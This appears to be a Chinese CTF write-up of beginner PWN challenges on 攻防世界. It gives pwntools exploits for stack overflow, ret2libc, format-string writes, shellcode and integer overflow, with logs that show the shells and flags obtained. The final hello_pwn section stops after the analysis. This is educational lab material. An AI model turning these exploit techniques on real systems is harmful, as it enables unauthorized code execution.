攻防世界新手专区——PWN

攻防世界新手专区——PWN

pwn 常需要使用到IDA,对于它的常用命令可以参考IDA基本使用这篇文章。

level0

image-20240204001639220

(这个图是盗的,之前我的那个图不知道啥时候搞没了,这里先借用一下别人的图,攻防世界改界面了,纪念我死去的青春辣!)

pwn真是盲区,看着wp里照做吧,先下载附件,查看然后运行一下:

pwn@whoami:~/桌面$ checksec a
[*] '/home/p/桌面/a'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
pwn@whoami:~/桌面$ ./a
Hello, World

可以看到是一个64位的程序,拿IDA打开看一下:

F5查看C伪代码,看到vulnerable_function()函数有一个很明显的缓存区溢出漏洞。

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

然后继续查看可以看到一些奇奇怪怪的东西,callsystem函数里面有==/bin/sh==:

int callsystem()
{
  return system("/bin/sh");
}

通过覆盖返回地址,直接调用 callsystem("/bin/sh") 的代码,就可以得到系统的 shell 。

构造exploit,自己不太会写,直接借鉴大佬的了!

from pwn import *
p = remote('111.200.241.244',55359)
p.send('a'*0x88+p64(0x400596))
p.interactive() 

但是这里出错了:

pwn@whoami:~/桌面$ python exp.py 
[+] Opening connection to 111.200.241.244 on port 55359: Done
Traceback (most recent call last):
  File "exp.py", line 3, in <module>
    p.send('a'*0x88+p64(0x400596))
TypeError: can only concatenate str (not "bytes") to str
[*] Closed connection to 111.200.241.244 port 55359

搜了一下这个报错,发现只要在p64(0x400596)后面加上.decode('unicode_escape')就可以了。

pwn@whoami:~/桌面$ python exp.py 
[+] Opening connection to 111.200.241.244 on port 55359: Done
exp.py:3: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.send('a'*0x88+p64(0x400596).decode('unicode_escape'))
[*] Switching to interactive mode
Hello, World
$ ls
bin
dev
flag
level0
lib
lib32
lib64
$ cat flag
cyberpeace{776f9e83fc7fd1774e8abed1e3d030e2}

level2

image-20220211114511369

题目上面已经明示了使用 ROP,先搜一下这是个什么东西:

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章栈溢出漏洞原理详解与利用,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

看一下程序的保护状态和它的运行情况:

pwn@ubuntu:~/桌面$ checksec 1
[*] '/home/baoyujie/桌面/1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
pwn@ubuntu:~/桌面$ ./1
Input:
111
Hello World!

可以看到存在一个输入点,丢到 IDA 里看一下:

image-20220211121005085

打开main函数看一下:

image-20220211125117940

进入vulnerable_function()system()再看一下:

//vulnerable_function()
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}
//system
int system(const char *command)
{
  return system(command);
}

shift+F12查看字符串窗口:

image-20220211121759882

可以尝试构造一个system("/bin/sh"),这里直接看布医大佬的脚本了:

from pwn import *
context.log_level = 'debug'
r = remote("111.200.241.244",58123)
bin_sh = 0x0804A024
system = 0x08048320
r.recvuntil("Input:\n")
payload = 'a' * (0x88) + 'a' * 4 + p32(system).decode('unicode_escape')+ p32(0).decode('unicode_escape') +p32(bin_sh).decode('unicode_escape')
r.send(payload)
r.interactive()

运行以后就得到flag了。

Pwn@ubuntu:~/桌面$ python exp.py 
[+] Opening connection to 111.200.241.244 on port 58123: Done
exp.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.recvuntil("Input:\n")
[DEBUG] Received 0x7 bytes:
    b'Input:\n'
exp.py:8: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  r.send(payload)
[DEBUG] Sent 0x98 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000080  61 61 61 61  61 61 61 61  61 61 61 61  20 83 04 08  │aaaa│aaaa│aaaa│ ···│
    00000090  00 00 00 00  24 a0 04 08                            │····│$···│
    00000098
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x24 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'level2\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
bin
dev
flag
level2
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{d4a511d80a7187395517501cde6fa398}\n'
cyberpeace{d4a511d80a7187395517501cde6fa398}

string

image-20220213180959759

先查看基础信息:

Pwn@ubuntu:~/桌面$ checksec string
[*] '/home/pwn/桌面/string'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序开了==NX(堆栈不可执行)、CANARY(栈保护)和PELRO==

运行一下看看:

Pwn@ubuntu:~/桌面$ ./string
Welcome to Dragon Games!
                                                 .~)>>
                                               .~))))>>>
                                             .~))>>             ___\
                                           .~))>>)))>>      .-~))>>\
                                         .~)))))>>       .-~))>>)>   
                                       .~)))>>))))>>  .-~)>>)>       
                   )                 .~))>>))))>>  .-~)))))>>)>
                ( )@@*)             //)>))))))  .-~))))>>)>
              ).@(@@               //))>>))) .-~))>>)))))>>)>
            (( @.@).              //))))) .-~)>>)))))>>)>
          ))  )@@*.@@ )          //)>))) //))))))>>))))>>)>
       ((  ((@@@.@@             |/))))) //)))))>>)))>>)>
      )) @@*. )@@ )   (\_(\  |))>)) //)))>>)))))))>>)>
    (( @@@(.@(@ .    _/`-`  ~|b |>))) //)>>)))))))>>)>
     )* @@@ )@*     (@) (@)  |))) //))))))>>))))>>
   (( @. )@( @ .   _/       / )) //))>>)))))>>>_._
    )@@ (@@*)@@.  (6,   6) / ^ )//))))))>>)))>>   ~~-.
 ( @jgs@@. @@@.*@_ ~^~^~, /\  ^ /)>>))))>>      _.     `,
  ((@@ @@@*.(@@ .   \^^^/' (  ^  )))>>        .'         `,
   ((@@).*@@ )@ )    `-'   ((   ^  ~)_          /             `,
     (@@. (@@ ).           (((   ^    `\        |               `.
       (*.@*              / ((((        \        \      .         `.
                         /   (((((  \    \    _.-~\     Y,         ;
                        /   / (((((( \    \.-~   _.`" _.-~`,       ;
                       /   /   `(((((()    )    (((((~      `,     ;
                     _/  _/      `"""/   /'                  ;     ;
                 _.-~_.-~           /  /'                _.-~   _.'
               ((((~~              / /'              _.-~ __.--~
                                  ((((          __.-~ _.-~
                                              .'   .~~
                                              :    ,'

we are wizard, we will give you hand, you can not defeat dragon by yourself ...
we will tell you two secret ...
secret[0] is de02a0
secret[1] is de02a4
do not tell anyone 
What should your character's name be:
aaaa
Creating a new player.
 This is a famous but quite unusual inn. The air is fresh and the
marble-tiled ground is clean. Few rowdy guests can be seen, and the
furniture looks undamaged by brawls, which are very common in other pubs
all around the world. The decoration looks extremely valuable and would fit
into a palace, but in this city it's quite ordinary. In the middle of the
room are velvet covered chairs and benches, which surround large oaken
tables. A large sign is fixed to the northern wall behind a wooden bar. In
one corner you notice a fireplace.
There are two obvious exits: east, up.
But strange thing is ,no one there.
So, where you will go?east or up?:

这里显示权限不足的话,就使用sudo chmod -R 777 [文件名]增加权限。

打开IDA看一下,sub_400BB9可以看到这里有个格式化字符串漏洞

image-20220215194630987

sub_400CA6里可以找到如下:

image-20220215225404977

==PS:mmap是一块可执行区域,可以通过写入shellcode的方式来获取shell==

可以发现程序运行一开头两个secreta1[0]a1[1]的地址。

编写脚本即可,这里使用了愚公搬代码的脚本:

from pwn import *
p = remote("111.200.241.244", 63170)
p.recvuntil('secret[0] is ')
# 获取第四位的地址,用切片切掉最后的\n,开始的空格在上面的 recvuntil 中
# 获得的数字直接用 int(x, 16) 即可转成十进制整型储存在 addr 中
addr = int(p.recvuntil('\n')[:-1], 16)
p.recvuntil('name be:\n')
p.sendline('Yuren')
p.recvuntil('up?:\n')
p.sendline('east')
p.recvuntil('leave(0)?:')
p.sendline('1')
p.recv()
p.sendline(str(addr))
p.recv()
p.sendline('%85x%7$n')
rec = p.recvuntil('SPELL\n')
context(os='linux', arch='amd64')
p.sendline(asm(shellcraft.sh()))
p.interactive()
$ cat flag
cyberpeace{e7fe529a83f5bb60339929857b2ea665}

本题强烈建议看一下Deeeelete师傅的文章:攻防世界PWN-string以及愚公搬代码的文章【愚公系列】2022年01月 攻防世界-简单题-PWN-003(string)

guess_num

image-20220216123235383

打开环境,运行附件:

Pwn@ubuntu:~/桌面$ checksec guess_num
[*] '/home/baoyujie/桌面/guess_num'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Pwn@ubuntu:~/桌面$ ./guess_num 
-------------------------------
Welcome to a guess number game!
-------------------------------
Please let me know your name!
Your name:aaa
-------------Turn:1-------------
Please input your guess number:12
---------------------------------
GG!

打开IDA看一下main函数:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v6; // [rsp+Ch] [rbp-34h]
  char v7; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v4 = 0;
  v6 = 0;
  *(_QWORD *)seed = sub_BB0();
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:", 0LL);
  gets(&v7);
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}

可以看到要十次猜中随机生成的数字,不可能,绝对不可能,但是可以看到这个随机生成数是srand()生成的伪随机生成数。

seed 是unsigned int 型的 在64位中 占4个字节 就是四个字符 然后从名字那倒seed中间有0x20个,可以通过覆盖掉seed,用自己选择的作为种子,弄出一摸一样的随机数。

直接运用脚本,这里参考的是Nathan-Yang师傅的脚本:

from pwn import *
from ctypes import *
io = remote('111.200.241.244', 55184)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a' * 0x20 + p64(1).decode()
io.recvuntil('Your name:')
io.sendline(payload)
libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6+1)
    io.recvuntil('number:')
    io.sendline(num)
io.interactive()

运行得到flag:

Pwn@ubuntu:~/桌面$ vi exp.py
Pwn@ubuntu:~/桌面$ python exp.py 
[+] Opening connection to 111.200.241.244 on port 55184: Done
exp.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil('Your name:')
exp.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(payload)
exp.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil('number:')
exp.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(num)
[*] Switching to interactive mode
---------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{9f895fd6555e868b189d7eae00c8c8b6}
[*] Got EOF while reading in interactive

int_overflow

image-20220216184211818

老样子:

Pwn@ubuntu:~/桌面$ checksec int_overflow
[*] '/home/baoyujie/桌面/int_overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Pwn@ubuntu:~/桌面$ ./int_overflow
bash: ./int_overflow: 权限不够
Pwn@ubuntu:~/桌面$ chmod -R 777 int_overflow
Pwn@ubuntu:~/桌面$ ./int_overflow
---------------------
~~ Welcome to CTF! ~~
       1.Login       
       2.Exit        
---------------------
Your choice:1
Please input your username:
admin
Hello admin

Please input your passwd:
password
Invalid Password
Pwn@ubuntu:~/桌面$ ./int_overflow
---------------------
~~ Welcome to CTF! ~~
       1.Login       
       2.Exit        
---------------------
Your choice:2
Bye~

IDA打开看一下:

//main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("---------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    login();
  }
  else
  {
    if ( v4 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

可以看到这有个login()函数,看一下:

int login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]
  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}

继续看一下这个check_passwd()函数:

char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]
  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}
  • v3 设置了一个 unsigned _int8 v3 无符号 8位参数,长度最大为8位 255。
  • 赋值的过程中,编译器会截断后者的末八位赋值给前者。8位的最大值是 255 ,所以如果passwd字符串长度超过255就会导致溢出。
  • 看到上一层 read 读取的时候 可以读取到 0x199 位数据 远远大于 255

image-20220217203523072

根据上面说的溢出部分自动截取后八位,那么只需要在 255 的基础上加上原本限制的 4 - 8 ,即可将溢出部分赋给 v3 ,从而绕过if判断。

image-20220217194147104

而且在 string 视图(shift+F12)内还可以看到 cat flag

image-20220217205654195

可以找到:

int what_is_this()
{
  return system("cat flag");
}

知道原理,写exp就行了:

from pwn import *
io=remote("111.200.241.244",64586)
io.sendlineafter("Your choice:", "1")
io.sendlineafter("your username:", "kk")
io.recvuntil("your passwd:")
payload = "a" * 0x14 + "aaaa" + p32(0x0804868B)+"a"*234
io.sendline(payload)
io.recv()
io.interactive()

得到flag:

Pwn@ubuntu:~/桌面$ python exp.py 
[+] Opening connection to 111.200.241.244 on port 64586: Done
exp.py:3: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter("Your choice:", "1")
/home/baoyujie/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
exp.py:4: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter("your username:", "kk")
exp.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil("your passwd:")
exp.py:7: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(payload)
[*] Switching to interactive mode
Success
cyberpeace{5f5d5aa7b93a146d4f0f4855f819f938}

cgpwn2

image-20220217223157440

老样子:

Pwn@ubuntu:~/桌面$ checksec cgpwn2
[*] '/home/baoyujie/桌面/cgpwn2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Pwn@ubuntu:~/桌面$ ./cgpwn2
please tell me your name
aaa
hello,you can leave some message here:
asd
thank you

打开IDA查看一下main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  hello();
  puts("thank you");
  return 0;
}

再看一下hello()函数:

char *hello()
{
  char *v0; // eax
  signed int v1; // ebx
  unsigned int v2; // ecx
  char *v3; // eax
  char s; // [esp+12h] [ebp-26h]
  int v6; // [esp+14h] [ebp-24h]

  v0 = &s;
  v1 = 30;
  if ( (unsigned int)&s & 2 )
  {
    *(_WORD *)&s = 0;
    v0 = (char *)&v6;
    v1 = 28;
  }
  v2 = 0;
  do
  {
    *(_DWORD *)&v0[v2] = 0;
    v2 += 4;
  }
  while ( v2 < (v1 & 0xFFFFFFFC) );
  v3 = &v0[v2];
  if ( v1 & 2 )
  {
    *(_WORD *)v3 = 0;
    v3 += 2;
  }
  if ( v1 & 1 )
    *v3 = 0;
  puts("please tell me your name");
  fgets(name, 50, stdin);
  puts("hello,you can leave some message here:");
  return gets(&s);
}

我们还在其他函数里找到了system,但是没有什么有价值的东西:

int pwn()
{
  return system("echo hehehe");
}

可以看到第一个输入点有一个name,点击跟进:

image-20220217232120029

  • name在bss段中,地址固定不变
  • 可以利用fgets函数向其中写东西
  • 程序中调用了system函数,但是没有/bin/sh

可以通过栈溢出漏洞,调用system函数,向name中写入/bin/sh,把参数地址设置为name的首地址。

#exp.py
#!usr/bin/python
from pwn import *
io = remote("111.200.241.244",63685)
context.log_level = 'debug'
io.recvuntil("your name")
io.sendline("/bin/sh")
io.recvuntil("leave some message here:")
payload  = "a" * 0x26 + "aaaa" + p32(0x08048420).decode('unicode_escape') + "aaaa" + p32(0x0804A080).decode('unicode_escape')
io.sendline(payload)
io.interactive()

运行即可得到flag:

Pwn@ubuntu:~/桌面$ python exp.py 
[+] Opening connection to 111.200.241.244 on port 63685: Done
exp.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil("your name")
[DEBUG] Received 0x18 bytes:
    b'please tell me your name'
exp.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline("/bin/sh")
[DEBUG] Sent 0x8 bytes:
    b'/bin/sh\n'
exp.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil("leave some message here:")
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Received 0x27 bytes:
    b'hello,you can leave some message here:\n'
exp.py:10: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(payload)
[DEBUG] Sent 0x37 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000020  61 61 61 61  61 61 61 61  61 61 20 84  04 08 61 61  │aaaa│aaaa│aa ·│··aa│
    00000030  61 61 80 a0  04 08 0a                               │aa··│···│
    00000037
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x24 bytes:
    b'bin\n'
    b'cgpwn2\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
bin
cgpwn2
dev
flag
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{78b0c6c2bad0d97333324124764d0dd0}\n'
cyberpeace{78b0c6c2bad0d97333324124764d0dd0}

level3

image-20220218124757725

这个题目附件打开是一个压缩包,压缩包解压缩以后在 windows 显示正常是文档,但在linux显示还是一个压缩包,且提取解压会产生错误。

image-20220218131150588

远程连接一下看看:

┌──(kali㉿kali)-[~/Desktop]
└─$ nc 111.200.241.244 52403
Input:
123456789    
Hello, World!

尝试了很长时间,终于成功!!!!!

image-20220218212541039

先查看一下基本信息:

[*] '/home/kali/Desktop/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/kali/Desktop/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

用IDA打开看一下:

查看一下 string:

image-20220218222726696

再查看一下函数:

#level3的main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
#vulnerable_function()函数
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

这题我只看出bufread函数中进行了调用。可以进行溢出。剩下的参考的是两位师傅写的wp:

攻击思路: libc中的函数的相对地址是固定的,要想获取到system函数的地址,可以通过write()函数进行offset计算。

1. 首先利用write()函数计算出write()函数的真实地址;

2. 利用相对offset计算出system和"/bin/sh"的真实地址。
在vulnerable_function()中,先调用了write()函数,然后调用read()函数。write()函数返回到vulnerable_function()后,再进行read()函数调用,这样我们就可以进行二次攻击。

  • 第一次攻击我们利用栈溢出将write()函数在got表中的真实地址leak出来,然后减去libc中的offset,就可以得到libc的base address。
  • 第二次攻击重新进入main函数,再次通过栈溢出,利用system函数进行getshell。` ——elsa____

这里通过程序加载的libc里面库函数system和/bin/sh字符串来达到我们的目的,程序开始运行的时候,会把整个libc映射到内存空间,后面程序调用相关库函数的时候,会依照plt-got表的机制,将所需的库函数加载到内存空间的某个虚拟内存地址,然后调用就会通过plt-got表跳转到真正的函数内存地址处完成功能。通过write函数泄露write函数的真实地址,然后通过write函数的真实地址计算出system函数和"/bin/sh"的真实地址,然后跳转过去执行。这就需要两次溢出。

​ ——endust

最后就是写exp,本题exp用的是elsa____师傅的:

from pwn import *
sh = remote("111.200.241.244","52403")
#sh=process('./level3')
#context.log_level = 'debug'
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')
#get func address
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
payload = b'A'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)
sh.sendlineafter("Input:\n",payload)
#leak write's addr in got
write_got_addr = u32(sh.recv()[:4])
#leak libc's addr
libc_addr = write_got_addr - libc.symbols['write']
#get system's addr
sys_addr = libc_addr + libc.symbols['system']
#get bin/sh 's addr    strings -a -t x libc_32.so.6 | grep "/bin/sh"
#libc.search("/bin/sh").next()
bin_sh_addr = libc_addr + 0x15902b
#get second payload
payload0 = b'A'*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
sh.sendline(payload0)
sh.interactive()

运行即可得到flag:

image-20220218222302115

==PS:这里可能会有报错:==

image-20220218224255709

==解决办法:==

'A'及其他字母前面加上b,因为payload在发送字符前需要加上一个b。

get_shell

image-20220218150828449

64位IDA打开,观察main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("OK,this time we will get a shell.");
  system("/bin/sh");
  return 0;
}

可以看到确实运行就能拿到shell:

#exp.py
from pwn import *   #导入 pwntools 中 pwn 包的所有内容
r = remote("111.200.241.244","56877")  # 链接服务器远程交互
r.sendline()  # 将shellcode 发送到远程连接
r.interactive()  # 将控制权交给用户,这样就可以使用打开的shell了
┌──(kali㉿kali)-[~/Desktop]
└─$ python exp.py          
[+] Opening connection to 111.200.241.244 on port 56877: Done
[*] Switching to interactive mode
$ cat flag
cyberpeace{27c56f65c3888d1dfd6d8293db7966ab}

CGfsb

image-20220218154911015

先查看一下附件的基本信息:

Pwn@ubuntu:~/桌面$ checksec CGfsb
[*] '/home/baoyujie/桌面/CGfsb'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
┌──(kali㉿kali)-[~/Desktop]
└─$ file CGfsb 
CGfsb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=113a10b953bc39c6e182c4ce6e05582ba2f8017a, not stripped                                                         
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=e41a0f684d0e497f87bb309f91737e4d 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   77) Symbols    No    0               3               e41a0f684d0e497f87bb309f91737e4d
┌──(kali㉿kali)-[~/Desktop]
└─$ ./CGfsb            
zsh: permission denied: ./CGfsb                                                                            
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod -R 777 CGfsb                                                                               
┌──(kali㉿kali)-[~/Desktop]
└─$ ./CGfsb           
please tell me your name:
aaa
leave your message please:
aaa
hello aaa
your message is:
aaa
Thank you!

这里注意 ubuntu 和 kali 使用的 checksec 版本不一样,使用方法也不一样,详情可以参考官方文档

打开IDA,查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]

  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

分析代码,很明显要让pwnme的值变为8,往上可以看到:

printf(&s);

这个形式的printf也是可以实现的,但是不安全,会有格式化字符串漏洞。

需要注意的是**%n**这个格式化字符串,它的功能是将%n之前打印出来的字符个数,赋值给一个变量

printf("Hello World%n", &a);
//a = 11
printf("AAAA%2$n", &argu1, &argu2, &argu3......);
//使用'$'符号来进行参数的选择,代表的是将打印字符的个数写入参数2对应的地址内存中.

可以想到,把pwnme放到message,加一个%n,使其与输入地址对应从而利用漏洞。

同时点击pwnme找到地址:

image-20220218171508180

我们得查一下我们输入进去的数据在栈中偏移了多少,知道偏移量后我们才能将其对应起来,向message里输入:

AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

%d - 十进制 - 输出十进制整数 %s - 字符串 - 从内存中读取字符串 %x - 十六进制 - 输出十六进制数 %c - 字符 - 输出字符 %p - 指针 - 指针地址 %n - 到目前为止所写的字符数

image-20220218172248219

这里的0x41414141就是AAAA,可以知道偏移量为10,写一个exp.py:

#exp.py
from pwn import *
sh = remote('111.200.241.244',55428)
sh.recv()
sh.sendline('aaa')
sh.recv()
payload = p32(0x804a068).decode('unicode_escape') +'aaaa' +'%10$n'
sh.sendline(payload)
sh.interactive()

顺利得到flag:

┌──(kali㉿kali)-[~/Desktop]
└─$ python exp.py          
[+] Opening connection to 111.200.241.244 on port 55428: Done
/home/kali/Desktop/exp.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  sh.sendline('aaa')
/home/kali/Desktop/exp.py:8: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  sh.sendline(payload)
[*] Switching to interactive mode
leave your message please:
hello aaa
your message is:
h\xa0\x04aaaa
you pwned me, here is your flag:

cyberpeace{6bcb8a8d21137c4daa3263d1953b7d00}
[*] Got EOF while reading in interactive
$  

hello_pwn

image-20220218172720643

查看一下基础信息:

Pwn@ubuntu:~/桌面$ checksec hello_pwn
[*] '/home/baoyujie/桌面/hello_pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Pwn@ubuntu:~/桌面$ file hello_pwn 
hello_pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=05ef7ecf06e02e7f199b11c4647880e8379e6ce0, stripped
Pwn@ubuntu:~/桌面$ ./hello_pwn
~~ welcome to ctf ~~     
lets get helloworld for bof
aaa

打开IDA看一下:

//main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686(0LL, &unk_601068);
  return 0LL;
}

image-20220218173840934

#sub_400686()
__int64 sub_400686()
{
  system("cat flag.txt");
  return 0LL;
}

可以发现当dword_60106C这个变量的值为1853186401时,程序会获取flag。

